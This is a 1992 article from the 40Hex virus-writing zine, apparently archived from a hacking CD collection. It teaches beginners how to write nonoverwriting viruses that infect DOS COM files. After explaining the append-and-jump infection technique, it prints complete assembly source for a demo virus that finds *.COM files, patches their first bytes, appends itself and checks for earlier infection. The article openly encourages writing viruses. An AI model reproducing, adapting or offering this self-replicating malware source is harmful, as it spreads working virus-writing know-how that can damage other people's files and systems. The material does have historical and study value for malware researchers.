home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-07.zip / 40HEX-7.003 < prev    next >
Text File  |  1992-06-06  |  10KB  |  239 lines

  1. 40Hex Number 7 Volume 2 Issue 3                                       File 003
  2.  
  3.                     ───────────────────────────────────────
  4.                     An Introduction to Nonoverwriting Virii
  5.                                  By Dark Angel
  6.                     ───────────────────────────────────────
  7.   
  8.   It seems that there are quite a few virus writers out there who just sit at
  9.   home and churn out hacks of virii.  Yay.  Anybody with a disassembler and
  10.   some free time can churn out dozens of undetectable (unscannable) variants
  11.   of any given virus in an hour.  Others have not progressed beyond the
  12.   overwriting virus, the type of virus with the most limited potential for
  13.   spreading.  Still others have never written a virus before and would like
  14.   to learn.  This article is designed as a simple introduction to all
  15.   interested to the world of nonoverwriting virii.  All that is assumed is a
  16.   working knowledge of 80x86 assembly language.
  17.   
  18.   Only the infection of COM files will be treated in this article, since the
  19.   infection routine is, I think, easier to understand and certainly easier to
  20.   code than that of EXE files.  But do not dispair!  EXE infections will be
  21.   covered in the next issue of 40Hex.
  22.   
  23.   COM files are described by IBM and Microsoft as "memory image files."
  24.   Basically, when a COM file is run, the file is loaded as is into memory.
  25.   No translation or interpretation of any sort takes place.  The following
  26.   steps occur when a COM file is run:
  27.   
  28.     1) A PSP is built.
  29.     2) The file is loaded directly above the PSP.
  30.     3) The program is run starting from the beginning.
  31.   
  32.   The PSP is a 256 byte header storing such vital data as the command line
  33.   parametres used to call the program.  The file is located starting at
  34.   offset 100h of the segment where the program is loaded.  Due to the 64K
  35.   limit on segment length, COM files may only be a maximum of 64K-100h bytes
  36.   long, or 65280 bytes.  If you infect a COM file, make sure the final size
  37.   is below this amount or the PSP will get corrupted.
  38.   
  39.   Since the beginning of the file is at offset 100h in the segment (this is
  40.   the reason for the org 100h at the start of assembly source for com files),
  41.   the initial IP is set to 100h.  The key to understanding nonoverwriting COM
  42.   virii is to remember that once the program is loaded into memory, it can be
  43.   changed at will without affecting the actual file on disk.
  44.   
  45.   The strategy of an overwriting virus is to write the virus to the beginning
  46.   of the COM file.  This, of course, utterly annihilates the original program.
  47.   This, of course, is lame.  The nonoverwriting virus changes only the first
  48.   few bytes and tacks the virus onto the end of the executable.  The new
  49.   bytes at the beginning of the file cause the program, once loaded, to jump
  50.   to the virus code.  After the virus is done executing, the original first
  51.   few bytes are rewritten to the area starting at 100h and a jmp instruction
  52.   is executed to that location (100h).  The infected program is none the
  53.   worse for the wear and will run without error.
  54.   
  55.   The trick is to find the correct bytes to add to the beginning of the file.
  56.   The most common method is to use a JMP instruction followed by a two byte
  57.   displacement.  Since these three bytes replace three bytes of the original
  58.   program, it is important to save these bytes upon infection.  The JMP is
  59.   encoded with a byte of 0e9h and the displacement is simply the old file
  60.   length minus three.
  61.   
  62.   To replace the old bytes, simply use code similar to the following:
  63.     mov di, 100h
  64.     mov si, offset saved_bytes
  65.     movsw
  66.     movsb
  67.   
  68.   And to return control to the original program, use the following:
  69.     mov di, 100h
  70.     jmp di
  71.   
  72.   or any equivalent statements.
  73.   
  74.   When writing nonoverwriting virii, it is important to understand that the
  75.   variables used in the code will not be in their original locations.  Since
  76.   virii are added to the end of the file, you must take the filesize into
  77.   account when calculating offsets.  The standard procedure is to use the
  78.   short combination of statements:
  79.   
  80.     call oldtrick
  81.   oldtrick:
  82.     pop  bp                           ; bp = current IP
  83.     sub  bp, offset oldtrick          ; subtract from original offset
  84.   
  85.   After these statements have been executed, bp will hold the difference in
  86.   the new offsets of the variables from the original.  To account for the
  87.   difference, make the following substitutions in the viral code:
  88.   
  89.     lea dx, [bp+offset variable]
  90.   instead of
  91.     mov dx, offset variable
  92.   
  93.   and
  94.   
  95.     mov dx, word ptr [bp+offset variable]
  96.   instead of
  97.     mov dx, word ptr variable
  98.   
  99.   Alternatively, if you want to save a few bytes and are willing to suffer
  100.   some headaches, leave out the sub bp, offset oldtrick and calculate all
  101.   offsets as per the procedure above EXCEPT you must now also subtract offset
  102.   oldtrick from each of the offsets.
  103.   
  104.   The following is a short nonoverwriting virus which will hopefully help in
  105.   your understanding of the techniques explained above.  It's sort of cheesy,
  106.   since I designed it to be small and easily understandable.  In addition to
  107.   being inefficient (in terms of size), it fails to preserve file date/time
  108.   and will not infect read-only files.  However, it serves its purpose well
  109.   as a teaching aid.
  110.  
  111.   --------Tear line----------------------------------------------------------
  112.   
  113.   DumbVirus segment
  114.   Assume    CS:DumbVirus
  115.   Org 100h                 ; account for PSP
  116.   
  117.   ; Dumb Virus - 40Hex demo virus
  118.   ; Assemble with TASM /m2
  119.   
  120.   Start:  db      0e9h     ; jmp duh
  121.           dw      0
  122.   
  123.   ; This is where the virus starts
  124.   duh:    call    next
  125.   next:   pop     bp                   ; bp holds current location
  126.           sub     bp, offset next      ; calculate net change
  127.   
  128.   ; Restore the original first three bytes
  129.           lea     si, [bp+offset stuff]
  130.           mov     di, 100h
  131.   ; Put 100h on the stack for the retn later
  132.   ; This will allow for the return to the beginning of the file
  133.           push    di
  134.           movsw
  135.           movsb
  136.   
  137.   ; Change DTA from default (otherwise Findfirst/next will destroy
  138.   ; commandline parametres
  139.           lea     dx, [bp+offset dta]
  140.           call    set_dta
  141.   
  142.           mov     ah, 4eh           ; Find first
  143.           lea     dx, [bp+masker]   ; search for '*.COM',0
  144.           xor     cx, cx            ; attribute mask - this is unnecessary
  145.   tryanother:
  146.           int     21h
  147.           jc      quit              ; Quit on error
  148.   
  149.   ; Open file for read/write
  150.   ; Note: This fails on read-only files
  151.           mov     ax, 3D02h
  152.           lea     dx, [bp+offset dta+30] ; File name is located in DTA
  153.           int     21h
  154.           xchg    ax, bx
  155.   
  156.   ; Read in the first three bytes
  157.           mov     ah, 3fh
  158.           lea     dx, [bp+stuff]
  159.           mov     cx, 3
  160.           int     21h
  161.   
  162.   ; Check for previous infection
  163.           mov     ax, word ptr [bp+dta+26]       ; ax = filesize
  164.           mov     cx, word ptr [bp+stuff+1]      ; jmp location
  165.           add     cx, eov - duh + 3              ; convert to filesize
  166.           cmp     ax, cx                         ; if same, already infected
  167.           jz      close                          ; so quit out of here
  168.   
  169.   ; Calculate the offset of the jmp
  170.           sub     ax, 3                          ; ax = filesize - 3
  171.           mov     word ptr [bp+writebuffer], ax
  172.   
  173.   ; Go to the beginning of the file
  174.           xor     al, al
  175.           call    f_ptr
  176.   
  177.   ; Write the three bytes
  178.           mov     ah, 40h
  179.           mov     cx, 3
  180.           lea     dx, [bp+e9]
  181.           int     21h
  182.   
  183.   ; Go to the end of the file
  184.           mov     al, 2
  185.           call    f_ptr
  186.   
  187.   ; And write the rest of the virus
  188.           mov     ah, 40h
  189.           mov     cx, eov - duh
  190.           lea     dx, [bp+duh]
  191.           int     21h
  192.   
  193.   close:
  194.           mov     ah, 3eh
  195.           int     21h
  196.   
  197.   ; Try infecting another file
  198.           mov     ah, 4fh                        ; Find next
  199.           jmp     short tryanother
  200.   
  201.   ; Restore the DTA and return control to the original program
  202.   quit:   mov     dx, 80h                        ; Restore current DTA to
  203.                                                  ; the default @ PSP:80h
  204.   set_dta:
  205.           mov     ah, 1ah                        ; Set disk transfer address
  206.           int     21h
  207.           retn
  208.   f_ptr:  mov     ah, 42h
  209.           xor     cx, cx
  210.           cwd                                    ; equivalent to: xor dx, dx
  211.           int     21h
  212.           retn
  213.   
  214.   masker  db      '*.com',0
  215.   ; Original three bytes of the infected file
  216.   ; Currently holds a INT 20h instruction and a null byte
  217.   stuff   db      0cdh, 20h, 0
  218.   e9      db      0e9h
  219.   eov equ $                                      ; End of the virus
  220.   ; The following variables are stored in the heap space (the area between
  221.   ; the stack and the code) and are not part of the virus that is written
  222.   ; to files.
  223.   writebuffer dw  ?                              ; Scratch area holding the
  224.                                                  ; JMP offset
  225.   dta         db 42 dup (?)
  226.   DumbVirus    ENDS
  227.                END     Start
  228.  
  229.   ---------------------------------------------------------------------------
  230.  
  231.   Do not worry if not everything makes sense to you just yet.  I tried to
  232.   keep the example virus as simple as possible, although, admittedly, the
  233.   explanations were a bit cryptic.  It should all come to you in time.
  234.   
  235.   For a more complete discussion of nonoverwriting virii, pick up a copy of
  236.   each of the first three parts of my virus writing guide (the phunky, the
  237.   chunky, and the crunchy), where you may find a thorough tutorial on
  238.   nonresident virii suitable for any beginning virus programmer.
  239.